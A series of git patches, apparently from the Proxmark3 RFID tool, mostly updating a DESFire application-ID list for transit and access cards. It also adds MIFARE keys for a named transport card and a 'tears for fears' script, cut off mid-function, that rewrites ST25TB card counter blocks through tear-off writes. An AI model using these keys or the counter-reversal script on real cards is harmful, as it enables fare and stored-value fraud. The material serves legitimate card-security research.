(Divia / Keolis)', }, From 55978431beff6bfc73219b034bd8004ac0810be3 Mon Sep 17 00:00:00 2001 From: Andrei Stefan Date: Fri, 31 May 2024 12:21:41 +0300 Subject: [PATCH 095/157] Update mfc_default_keys.dic --- client/dictionaries/mfc_default_keys.dic | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index 10072a3b1..5856c598c 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -2449,3 +2449,7 @@ D33673C19243 D89A506542F2 E5813CD228F1 FAB943906E9C + +# R.A.T.T transport card key A/B +AA034F342A55 +456776908C48 From f6716c21a78634a2b6935ee2c92166ffaa11319a Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Mon, 3 Jun 2024 10:32:36 +1000 Subject: [PATCH 096/157] Update aid_desfire.json Interim Changes Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 28 ++++++++++++++++++---------- 1 file changed, 18 insertions(+), 10 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index cdeb11d82..c08f0701b 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -394,18 +394,18 @@ }, { "AID": "F21100", - "Vendor": "MyKI", - "Country": "AUS", - "Name": "Myki", - "Description": "AID found on Myki ticket cards", + "Vendor": "Public Transport Victoria [PTV] via Conduent", + "Country": "AU", + "Name": "myki", + "Description": "FIDs: 0F: Standard Data; 00: Backup Data", "Type": "transport" }, { "AID": "F210F0", - "Vendor": "MyKI", - "Country": "AUS", - "Name": "Myki", - "Description": "AID found on Myki ticket cards", + "Vendor": "Public Transport Victoria [PTV] via Conduent", + "Country": "AU", + "Name": "myki", + "Description": "FIDs: 01/02: Cyclic Record; 03: myki money Balance; 00/04/05: Backup Data; 08/09/0A/0B/0C/0F: Standard Data", "Type": "transport" }, { @@ -554,9 +554,9 @@ }, { "AID": "F48EF1", - "Vendor": "SALTO Access credential", + "Vendor": "Salto Systems", "Country": "ES", - "Name": "SALTO Access credential", + "Name": "Salto Systems", "Description": "", "Type": "pacs" }, @@ -583,5 +583,13 @@ "Name": "Presto Card", "Description": "", "Type": "transport" + }, + { + "AID": "F48EFD", + "Vendor": "Salto Systems", + "Country": "ES", + "Name": "Salto KS", + "Description": "Access Control #13 // Key as a Service // FID: 01 - Standard Data", + "Type": "pacs" } ] From a71ab3e6ab8692e8ed9bb9fcb174e8898385bb36 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Mon, 3 Jun 2024 15:41:08 +1000 Subject: [PATCH 097/157] Update aid_desfire.json Interim edits 2 Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 76 ++++++++++++++++++++----------- 1 file changed, 50 insertions(+), 26 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index c08f0701b..80d3e6e02 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -33,10 +33,10 @@ }, { "AID": "4F5931", - "Vendor": "Transport of London", + "Vendor": "Transport for London [TfL]", "Country": "UK", "Name": "Oyster Card", - "Description": "", + "Description": "FIDs: 00-07: Standard Data", "Type": "transport" }, { @@ -121,10 +121,18 @@ }, { "AID": "F21030", - "Vendor": "ORCA (VUX/ERG)", - "Country": "", - "Name": "ORCA Card", - "Description": "(FIDs 02: Trip History; 04: current balance)", + "Vendor": "Puget Sound Transit Agencies", + "Country": "US", + "Name": "ORCA", + "Description": "VUX/ERG // One Regional Card For All // FIDs 02: Trip History; 04: current balance)", + "Type": "transport" + }, + { + "AID": "F213F0", + "Vendor": "Puget Sound Transit Agencies", + "Country": "US", + "Name": "ORCA", + "Description": "VUX/ERG // One Regional Card for All // FIDs 00: Standard Data; 01: Backup Data)", "Type": "transport" }, { @@ -397,7 +405,7 @@ "Vendor": "Public Transport Victoria [PTV] via Conduent", "Country": "AU", "Name": "myki", - "Description": "FIDs: 0F: Standard Data; 00: Backup Data", + "Description": "myki App 1 // FIDs: 0F: Standard Data; 00: Backup Data", "Type": "transport" }, { @@ -405,23 +413,39 @@ "Vendor": "Public Transport Victoria [PTV] via Conduent", "Country": "AU", "Name": "myki", - "Description": "FIDs: 01/02: Cyclic Record; 03: myki money Balance; 00/04/05: Backup Data; 08/09/0A/0B/0C/0F: Standard Data", + "Description": "myki App 2 // FIDs: 01/02: Transaction History; 03: myki money Balance; 00/04/05: Backup Data; 08/09/0A/0B/0C/0F: Standard Data", "Type": "transport" }, { "AID": "F206B0", - "Vendor": "ACS", - "Country": "AUS", - "Name": "Metrocard / ACS", - "Description": "", + "Vendor": "Adelaide Metro", + "Country": "AU", + "Name": "metroCARD", + "Description": "ACS // Not to be confused with CHC Metrocard", + "Type": "transport" + }, + { + "AID": "8113F2", + "Vendor": "Chicago Transit Authority [CTA]", + "Country": "US", + "Name": "Ventra Card", + "Description": "Multi-Modal Transit #1 // FIDs: 00/01: Standard Data", + "Type": "transport" + }, + { + "AID": "F21390", + "Vendor": "Multiple NZ Transit Agencies via Otago Regional Council", + "Country": "NZ", + "Name": "Bee Card", + "Description": "Multi-Modal Transit #0 // FIDs: 00: Backup Data; 01/02: Trip History; 03: Card Balance", "Type": "transport" }, { "AID": "F21050", - "Vendor": "INIT", + "Vendor": "Metro Christchurch", "Country": "NZ", - "Name": "Metrocard / Christchurch", - "Description": "", + "Name": "INIT // Metrocard", + "Description": "Not to be confused with ADL metroCARD // Multi-Modal Transit #0 // FIDs: 00: Backup Data; 01/02: Trip History; 03: Card Balance", "Type": "transport" }, { @@ -482,26 +506,26 @@ }, { "AID": "554000", - "Vendor": "AT HOP", - "Country": "", - "Name": "AT HOP", - "Description": "", + "Vendor": "Auckland Transport", + "Country": "NZ", + "Name": "AT HOP Card", + "Description": "FIDs: 00: Backup Data; 08/09/0A", "Type": "transport" }, { "AID": "534531", - "Vendor": "OPAL", - "Country": "AUS", - "Name": "OPAL", + "Vendor": "Transport for New South Wales [TfNSW]", + "Country": "AU", + "Name": "Opal Card", "Description": "", "Type": "transport" }, { "AID": "2211AF", - "Vendor": "Leap", - "Country": "", - "Name": "Leap", - "Description": "", + "Vendor": "National Transport Authority", + "Country": "IE", + "Name": "TFI Leap Card", + "Description": "Transport for Ireland // FIDs: 01/1F: Backup Data; 02/0A/03/04/05/06/07/08/09: Standard Data", "Type": "transport" }, { From 231a503215c42aed880393480239180d80787f7e Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Mon, 3 Jun 2024 18:02:35 +1000 Subject: [PATCH 098/157] Update aid_desfire.json Interim updates. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 52 +++++++++++++++---------------- 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 80d3e6e02..b3b34d394 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -81,11 +81,11 @@ }, { "AID": "784000", - "Vendor": "NOL", - "Country": "UAE", - "Name": "Nol Card/Dubai", - "Description": "Nol Card/Dubai", - "Type": "" + "Vendor": "Roads & Transport Authority [Government of Dubai]", + "Country": "AE", + "Name": "nol Card", + "Description": "DXB nol Card", + "Type": "transport" }, { "AID": "956B19", @@ -402,26 +402,26 @@ }, { "AID": "F21100", - "Vendor": "Public Transport Victoria [PTV] via Conduent", + "Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]", "Country": "AU", "Name": "myki", - "Description": "myki App 1 // FIDs: 0F: Standard Data; 00: Backup Data", + "Description": "myki App 1 // FIDs 0F: Standard Data; 00: Backup Data", "Type": "transport" }, { "AID": "F210F0", - "Vendor": "Public Transport Victoria [PTV] via Conduent", + "Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]", "Country": "AU", "Name": "myki", - "Description": "myki App 2 // FIDs: 01/02: Transaction History; 03: myki money Balance; 00/04/05: Backup Data; 08/09/0A/0B/0C/0F: Standard Data", + "Description": "myki App 2 // FIDs 01-02: Transaction History; 03: myki money Balance; 00,04-05: Backup Data; 08-0C,0F: Standard Data", "Type": "transport" }, { "AID": "F206B0", - "Vendor": "Adelaide Metro", + "Vendor": "Adelaide Metro via Affiliated Computer Services [ACS]", "Country": "AU", "Name": "metroCARD", - "Description": "ACS // Not to be confused with CHC Metrocard", + "Description": "Not to be confused with CHC Metrocard // FIDs 00,02-07,09-0B,10-17,1B-1C: Backup Data; 01,1D: Linear Record File; 08: ABNote Adelaide; 1E: Standard Data; 0C-0F: Card Balance", "Type": "transport" }, { @@ -429,7 +429,7 @@ "Vendor": "Chicago Transit Authority [CTA]", "Country": "US", "Name": "Ventra Card", - "Description": "Multi-Modal Transit #1 // FIDs: 00/01: Standard Data", + "Description": "Multi-Modal Transit #1 // FIDs: 00-01 Standard Data", "Type": "transport" }, { @@ -437,7 +437,7 @@ "Vendor": "Multiple NZ Transit Agencies via Otago Regional Council", "Country": "NZ", "Name": "Bee Card", - "Description": "Multi-Modal Transit #0 // FIDs: 00: Backup Data; 01/02: Trip History; 03: Card Balance", + "Description": "Multi-Modal Transit #0 // FIDs 00: Backup Data; 01-02: Trip History; 03: Card Balance", "Type": "transport" }, { @@ -517,7 +517,7 @@ "Vendor": "Transport for New South Wales [TfNSW]", "Country": "AU", "Name": "Opal Card", - "Description": "", + "Description": "FIDs 00-06: Standard Data; 07: Card Balance/Number and Trip History", "Type": "transport" }, { @@ -554,18 +554,18 @@ }, { "AID": "000001", - "Vendor": "Invalid / reserved", + "Vendor": "Invalid / Reserved", "Country": "", - "Name": "Invalid / reserved", - "Description": "used by Compass DESFire and Breeze DESFire", + "Name": "Invalid / Reserved", + "Description": "Used by YVR Compass and ATL Breeze", "Type": "transport" }, { "AID": "FFFFFF", - "Vendor": "Reserved for future use", + "Vendor": "Reserved for Future Use", "Country": "", - "Name": "Reserved for future use", - "Description": "used by AT HOP, Nol, ORCA", + "Name": "Reserved for Future Use", + "Description": "Used by AKL AT HOP, DXB nol, and SEA ORCA", "Type": "transport" }, { @@ -589,23 +589,23 @@ "Vendor": "Prima Systems", "Country": "SI", "Name": "Prima FlexAir Access Control", - "Description": "FIDs: 00 - DRM, 01 - Access Event Log, 04 - Access Permissions", + "Description": "FIDs 00: DRM; 01: Access Event Log; 04: Access Permissions", "Type": "pacs" }, { "AID": "FF30FF", "Vendor": "Metrolinx", "Country": "CA", - "Name": "Presto Card", - "Description": "", + "Name": "PRESTO Card", + "Description": "FID 08: Standard Data", "Type": "transport" }, { "AID": "002000", "Vendor": "Metrolinx", "Country": "CA", - "Name": "Presto Card", - "Description": "", + "Name": "PRESTO Card", + "Description": "FIDs 00,0F: Backup Data; 08-0E,10-14: Standard Data", "Type": "transport" }, { @@ -613,7 +613,7 @@ "Vendor": "Salto Systems", "Country": "ES", "Name": "Salto KS", - "Description": "Access Control #13 // Key as a Service // FID: 01 - Standard Data", + "Description": "Access Control #13 // Key as a Service // FID 01: Standard Data", "Type": "pacs" } ] From aacc6b9db0c7ded65389b9b6e561a92c7eff43e8 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:43:37 +1000 Subject: [PATCH 099/157] Update aid_desfire.json Interim changes. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index b3b34d394..c0666ebfc 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -421,7 +421,7 @@ "Vendor": "Adelaide Metro via Affiliated Computer Services [ACS]", "Country": "AU", "Name": "metroCARD", - "Description": "Not to be confused with CHC Metrocard // FIDs 00,02-07,09-0B,10-17,1B-1C: Backup Data; 01,1D: Linear Record File; 08: ABNote Adelaide; 1E: Standard Data; 0C-0F: Card Balance", + "Description": "Bus Rail Fare Collection #0 // Not to be confused with CHC Metrocard // FIDs 00,02-07,09-0B,10-17,1B-1C: Backup Data; 01,1D: Linear Record File; 08: ABNote / HID Adelaide; 1E: Standard Data; 0C-0F: Card Balance", "Type": "transport" }, { From 97789db70146ffea4d9631007e4d1f4b51900452 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:50:10 +1000 Subject: [PATCH 100/157] Update aid_desfire.json Interim Updates. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index c0666ebfc..c83ce6a50 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -429,7 +429,7 @@ "Vendor": "Chicago Transit Authority [CTA]", "Country": "US", "Name": "Ventra Card", - "Description": "Multi-Modal Transit #1 // FIDs: 00-01 Standard Data", + "Description": "Gen 2 Blue Cards // Multi-Modal Transit #1 // FIDs: 00-01 Standard Data", "Type": "transport" }, { From 8206a7f0144bbd22352635be998e8fdce2de96c1 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Tue, 4 Jun 2024 20:12:13 +1000 Subject: [PATCH 101/157] Update aid_desfire.json Formatting updates. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index c83ce6a50..d896cfe4c 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -159,7 +159,6 @@ "Description": "", "Type": "payment system" }, - { "AID": "F88280", "Vendor": "TU Delft", @@ -216,7 +215,7 @@ "Description": "", "Type": "student" }, - { + { "AID": "535505", "Vendor": "TU Delft", "Country": "NL", @@ -224,7 +223,7 @@ "Description": "", "Type": "student" }, - { + { "AID": "535506", "Vendor": "TU Delft", "Country": "NL", @@ -240,7 +239,7 @@ "Description": "", "Type": "student" }, - { + { "AID": "535508", "Vendor": "TU Delft", "Country": "NL", @@ -256,7 +255,7 @@ "Description": "", "Type": "student" }, - { + { "AID": "53550A", "Vendor": "TU Delft", "Country": "NL", @@ -264,7 +263,7 @@ "Description": "", "Type": "student" }, - { + { "AID": "53550B", "Vendor": "TU Delft", "Country": "NL", @@ -288,7 +287,7 @@ "Description": "Campus Card", "Type": "student" }, - { + { "AID": "15845F", "Vendor": "InterCard GmbH Kartensysteme", "Country": "DE", @@ -296,7 +295,7 @@ "Description": "Campus Card", "Type": "student" }, - { + { "AID": "25845F", "Vendor": "InterCard GmbH Kartensysteme", "Country": "DE", From b7f5e5b9acf00392509421b497c66af98dd88723 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Tue, 4 Jun 2024 21:38:42 +1000 Subject: [PATCH 102/157] Update aid_desfire.json Minor updates. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index d896cfe4c..424ea8f89 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -4,7 +4,7 @@ "Vendor": "NFC Forum", "Country": "US", "Name": "NFC Forum NDEF Tag", - "Description": "(FID 03: Capability Container)", + "Description": "FID 03: Capability Container", "Type": "ndef" }, { @@ -35,16 +35,16 @@ "AID": "4F5931", "Vendor": "Transport for London [TfL]", "Country": "UK", - "Name": "Oyster Card", + "Name": "Oyster Card", m "Description": "FIDs: 00-07: Standard Data", "Type": "transport" }, { "AID": "422201", "Vendor": "Transport of Istanbul", - "Country": "Turkey", + "Country": "TR", "Name": "Istanbulkart", - "Description": "", + "Description": "Istanbul Card", "Type": "transport" }, { @@ -60,7 +60,7 @@ "Vendor": "LEGIC", "Country": "DE", "Name": "Legic", - "Description": "(FID 02: EF-CONF)", + "Description": "FID 02: EF-CONF", "Type": "" }, { @@ -68,7 +68,7 @@ "Vendor": "NORTIC", "Country": "", "Name": "NORTIC Card Issuer", - "Description": "(FID 0C: Card Issuer Header)", + "Description": "FID 0C: Card Issuer Header", "Type": "transport" }, { From 6a323c1c949f9d00c057ec98322e054e1a0c0487 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Tue, 4 Jun 2024 21:49:50 +1000 Subject: [PATCH 103/157] Update aid_desfire.json Corrected typo based on PM3 command: hf mfdes lsapp --no-auth Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 424ea8f89..ab075e1b9 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -124,7 +124,7 @@ "Vendor": "Puget Sound Transit Agencies", "Country": "US", "Name": "ORCA", - "Description": "VUX/ERG // One Regional Card For All // FIDs 02: Trip History; 04: current balance)", + "Description": "VIX / ERG Transit Sysyems // One Regional Card For All // FIDs 02: Trip History; 04: current balance", "Type": "transport" }, { From 741ebb94ce7f70bab5ac13475f9cb7f49c2e186f Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Tue, 4 Jun 2024 21:52:35 +1000 Subject: [PATCH 104/157] Update aid_desfire.json Corrected typo Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index ab075e1b9..b28336fb3 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -35,7 +35,7 @@ "AID": "4F5931", "Vendor": "Transport for London [TfL]", "Country": "UK", - "Name": "Oyster Card", m + "Name": "Oyster Card", "Description": "FIDs: 00-07: Standard Data", "Type": "transport" }, From b89b931bf8b0cfaed9c39942b38066fdc212b24b Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Tue, 4 Jun 2024 22:05:07 +1000 Subject: [PATCH 105/157] Update aid_desfire.json Style Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index b28336fb3..3adf604b9 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -76,7 +76,7 @@ "Vendor": "NORTIC", "Country": "", "Name": "NORTIC Transport", - "Description": "(FIDs 01: Transport Product Retailer; 02: Transport Service Provider; 03: Transport Special Event; 04: Transport Stored Value; 05: Transport General Event Log; 06: Transport SV Reload Log; 0A: Transport Environment; 0C: Transport Card Holder", + "Description": "FIDs 01: Transport Product Retailer; 02: Transport Service Provider; 03: Transport Special Event; 04: Transport Stored Value; 05: Transport General Event Log; 06: Transport SV Reload Log; 0A: Transport Environment; 0C: Transport Card Holder", "Type": "transport" }, { @@ -132,7 +132,7 @@ "Vendor": "Puget Sound Transit Agencies", "Country": "US", "Name": "ORCA", - "Description": "VUX/ERG // One Regional Card for All // FIDs 00: Standard Data; 01: Backup Data)", + "Description": "VUX/ERG // One Regional Card for All // FIDs 00: Standard Data; 01: Backup Data", "Type": "transport" }, { @@ -140,7 +140,7 @@ "Vendor": "Clipper", "Country": "US", "Name": "Clipper Card/San Francisco Bay Area ", - "Description": "(FIDs 02: current balance; 04: Refill History; 08: Card Information; 0E: Trip History)\\nFFFFFF General Issuer Information (FIDs 00: MAD Version; 01: Card Holder; 02: Card Publisher)", + "Description": "FIDs 02: current balance; 04: Refill History; 08: Card Information; 0E: Trip History]\\nFFFFFF General Issuer Information // FIDs 00: MAD Version; 01: Card Holder; 02: Card Publisher", "Type": "transport" }, { @@ -348,7 +348,7 @@ "Vendor": "Gallagher", "Country": "NZ", "Name": "Access control", - "Description": "Card Application Directory (CAD)", + "Description": "Card Application Directory [CAD]", "Type": "pacs" }, { @@ -569,7 +569,7 @@ }, { "AID": "F52310", - "Vendor": "Integrated Control Technology Limited (ICT)", + "Vendor": "Integrated Control Technology Limited [ICT]", "Country": "NZ", "Name": "ICT Access credential", "Description": "", From 2f2b288624784bab60751442064d313da5059249 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Tue, 4 Jun 2024 22:52:20 +1000 Subject: [PATCH 106/157] Update aid_desfire.json Corrected VIX typo. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 3adf604b9..fde05169f 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -132,7 +132,7 @@ "Vendor": "Puget Sound Transit Agencies", "Country": "US", "Name": "ORCA", - "Description": "VUX/ERG // One Regional Card for All // FIDs 00: Standard Data; 01: Backup Data", + "Description": "VIX / ERG Transit Systems // One Regional Card for All // FIDs 00: Standard Data; 01: Backup Data", "Type": "transport" }, { From b6060f423b82a44e44ce670f990fb2db076ddcb6 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Tue, 4 Jun 2024 23:00:32 +1000 Subject: [PATCH 107/157] Update aid_desfire.json Made minor correction to CHC Metrocard Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index fde05169f..a147643d2 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -441,9 +441,9 @@ }, { "AID": "F21050", - "Vendor": "Metro Christchurch", + "Vendor": "Metro Christchurch via INIT", "Country": "NZ", - "Name": "INIT // Metrocard", + "Name": "Metrocard", "Description": "Not to be confused with ADL metroCARD // Multi-Modal Transit #0 // FIDs: 00: Backup Data; 01/02: Trip History; 03: Card Balance", "Type": "transport" }, From 6e6d00505fc52941df930966f25e3c64b61f8171 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 6 Jun 2024 14:45:06 +0200 Subject: [PATCH 108/157] added the tears_for_fears.py script by Pierre Granier --- CHANGELOG.md | 1 + tools/pm3_tears_for_fears.py | 553 +++++++++++++++++++++++++++++++++++ 2 files changed, 554 insertions(+) create mode 100644 tools/pm3_tears_for_fears.py diff --git a/CHANGELOG.md b/CHANGELOG.md index c03f3a4d5..7ee87196e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier ## [Aurora.4.18589][2024-05-28] - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) diff --git a/tools/pm3_tears_for_fears.py b/tools/pm3_tears_for_fears.py new file mode 100644 index 000000000..0670ceccb --- /dev/null +++ b/tools/pm3_tears_for_fears.py @@ -0,0 +1,553 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +#+---------------------------------------------------------------------------+ +#| Tears For Fears : Utilities for reverting counters of ST25TB* cards | +#+---------------------------------------------------------------------------+ +#| Copyright (C) Pierre Granier - 2024 | +#| | +#| This program is free software: you can redistribute it and/or modify | +#| it under the terms of the GNU General Public License as published by | +#| the Free Software Foundation, either version 3 of the License, or | +#| (at your option) any later version. | +#| | +#| This program is distributed in the hope that it will be useful, | +#| but WITHOUT ANY WARRANTY; without even the implied warranty of | +#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | +#| GNU General Public License for more details. | +#| | +#| You should have received a copy of the GNU General Public License | +#| along with this program. If not, see . | +#+---------------------------------------------------------------------------+ +# +# Ref: +# https://gitlab.com/SiliconOtter/tears4fears +# + +import argparse +from queue import Queue, Empty +import re +from subprocess import Popen, PIPE +from time import sleep +from threading import Thread + +PM3_SUBPROC = None +PM3_SUBPROC_QUEUE = None + + +class colors: + + reset = '\033[0m' + bold = '\033[01m' + disable = '\033[02m' + underline = '\033[04m' + reverse = '\033[07m' + strikethrough = '\033[09m' + invisible = '\033[08m' + + purple = '\033[35m' + red = '\033[31m' + green = '\033[32m' + blue = '\033[34m' + lightred = '\033[91m' + lightgreen = '\033[92m' + lightblue = '\033[94m' + + +def main(): + + global PM3_SUBPROC + global PM3_SUBPROC_QUEUE + + parser = argparse.ArgumentParser() + parser.add_argument("-s", + "--strat", + type=int, + nargs="?", + const="1", + default="1", + dest="strategy", + help="Strategy to use (default 1)") + parser.add_argument("-b", + "--block", + type=int, + nargs="?", + const="-1", + default="-1", + required=True, + dest="target_block", + help="Target Block") + parser.add_argument("-p", + "--pm3-client", + type=str, + default="pm3", + dest="pm3_path", + help="pm3 client path") + + args = parser.parse_args() + + PM3_SUBPROC = Popen([args.pm3_path, "-i", "-f"], stdin=PIPE, stdout=PIPE) + PM3_SUBPROC_QUEUE = Queue() + + thread = Thread(target=enqueue_output, + args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE)) + thread.start() + + if args.target_block != -1: + tear_for_fears(args.target_block, args.strategy) + else: + parser.error("--block is required ") + + sub_com('exit') + thread.join() + + +def enqueue_output(out, queue): + """Continuously read PM3 client stdout and fill a global queue + + Args: + out: stdout of PM3 client + queue: where to push "out" content + """ + for line in iter(out.readline, b""): + queue.put(line) + out.close() + + +def sub_com(command, func=None, sleep_over=0): + """Send command to aPM3 client + + Args: + command: String of the command to send + func: hook for a parsing function on the pm3 command end + + Returns: + result of the hooked function if any + """ + global PM3_SUBPROC + global PM3_SUBPROC_QUEUE + + result = None + + sleep(sleep_over) + + PM3_SUBPROC.stdin.write(bytes((command + "\n").encode("ascii"))) + PM3_SUBPROC.stdin.flush() + if func: + while not result: + try: + result = func(str(PM3_SUBPROC_QUEUE.get(timeout=.5))) + except Empty: + PM3_SUBPROC.stdin.write(bytes( + (command + "\n").encode("ascii"))) + PM3_SUBPROC.stdin.flush() + + return result + + +def set_space(space): + """Placeholder for instrumentalization or do it manually + + Args: + space: distance needed + + Returns: + """ + input(f"\nSet Reader <-> Card distance to {space} and press enter : \n") + + +def parse_rdbl(str_to_parse): + """Return a list of str of a block from pm3 output + Uses `rbdl` in pm3 client + + Args: + str_to_parse: string to parse + + Returns: + string list + """ + tmp = re.search(r"block \d*\.\.\. ([0-9a-fA-F]{2} ){4}", str_to_parse) + if tmp: + # print(tmp) + return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split("... ")[1]) + return None + + +def parse_UID(str_to_parse): + """Return a card UID from pm3 output + + Args: + str_to_parse: string to parse + + Returns: + string list + """ + tmp = re.search(r"UID: ([0-9a-fA-F]{2} )*", str_to_parse) + if tmp: + return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split(": ")[1]) + return None + + +def slist_to_int(list_source): + """Return the int value associated to a bloc list of string + + Args: + list_source: list to convert + + Returns: + represented int + """ + return ((int(list_source[3], 16) << 24) + (int(list_source[2], 16) << 16) + + (int(list_source[1], 16) << 8) + int(list_source[0], 16)) + + +def int_to_slist(src): + """Return the list of string from the int value associated to a block + + Args: + src: int to convert + + Returns: + list of string + """ + list_dest = list() + for i in range(4): + list_dest.append(hex((src >> (8 * i)) & 255)[2:].zfill(2).upper()) + return list_dest + + +def ponderated_read(b_num, repeat_read, sleep_over): + """read a few times a block and give a pondered dictionary + + Args: + b_num: block number to read + + Returns: + dictionary (key: int, value: number of occurrences) + """ + weight_r = dict() + + for _ in range(repeat_read): + # sleep_over=0 favorize read at 0 + # (and allow early discovery of weak bits) + result = slist_to_int( + sub_com(f"hf 14b rdbl -b {b_num}", + parse_rdbl, + sleep_over=sleep_over)) + if result in weight_r: + weight_r[result] += 1 + else: + weight_r[result] = 1 + + return weight_r + + +def exploit_weak_bit(b_num, original_value, repeat_read, sleep_over): + """ + + Args: + b_num: block number + stop: last tearing timing + + """ + # Sending RAW writes because `wrbl` spend additionnal time checking success + cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}" + + set_space(1) + dic = ponderated_read(b_num, repeat_read, sleep_over) + + for value, occur in dic.items(): + + indic = colors.reset + + if value > original_value: + indic = colors.purple + + elif value < original_value: + indic = colors.lightblue + + print( + f"{(occur / repeat_read) * 100} %" + f" : {indic}{''.join(map(str,int_to_slist(value)))}{colors.reset}" + f" : {indic}{str(bin(value))[2:].zfill(32)}{colors.reset}") + + target = max(dic) + + read_back = 0 + + # There is no ACK for write so we use a read to check distance coherence + if target > (original_value): + + print(f"\n{colors.bold}Trying to consolidate.{colors.reset}" + f"\nKeep card at the max distance from the reader.\n") + + while (read_back != (target - 1)): + print(f"{colors.bold}Writing :{colors.reset}" + f" {''.join(map(str,int_to_slist(target - 1)))}") + sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 1)))}") + read_back = slist_to_int( + sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl)) + + while (read_back != (target - 2)): + 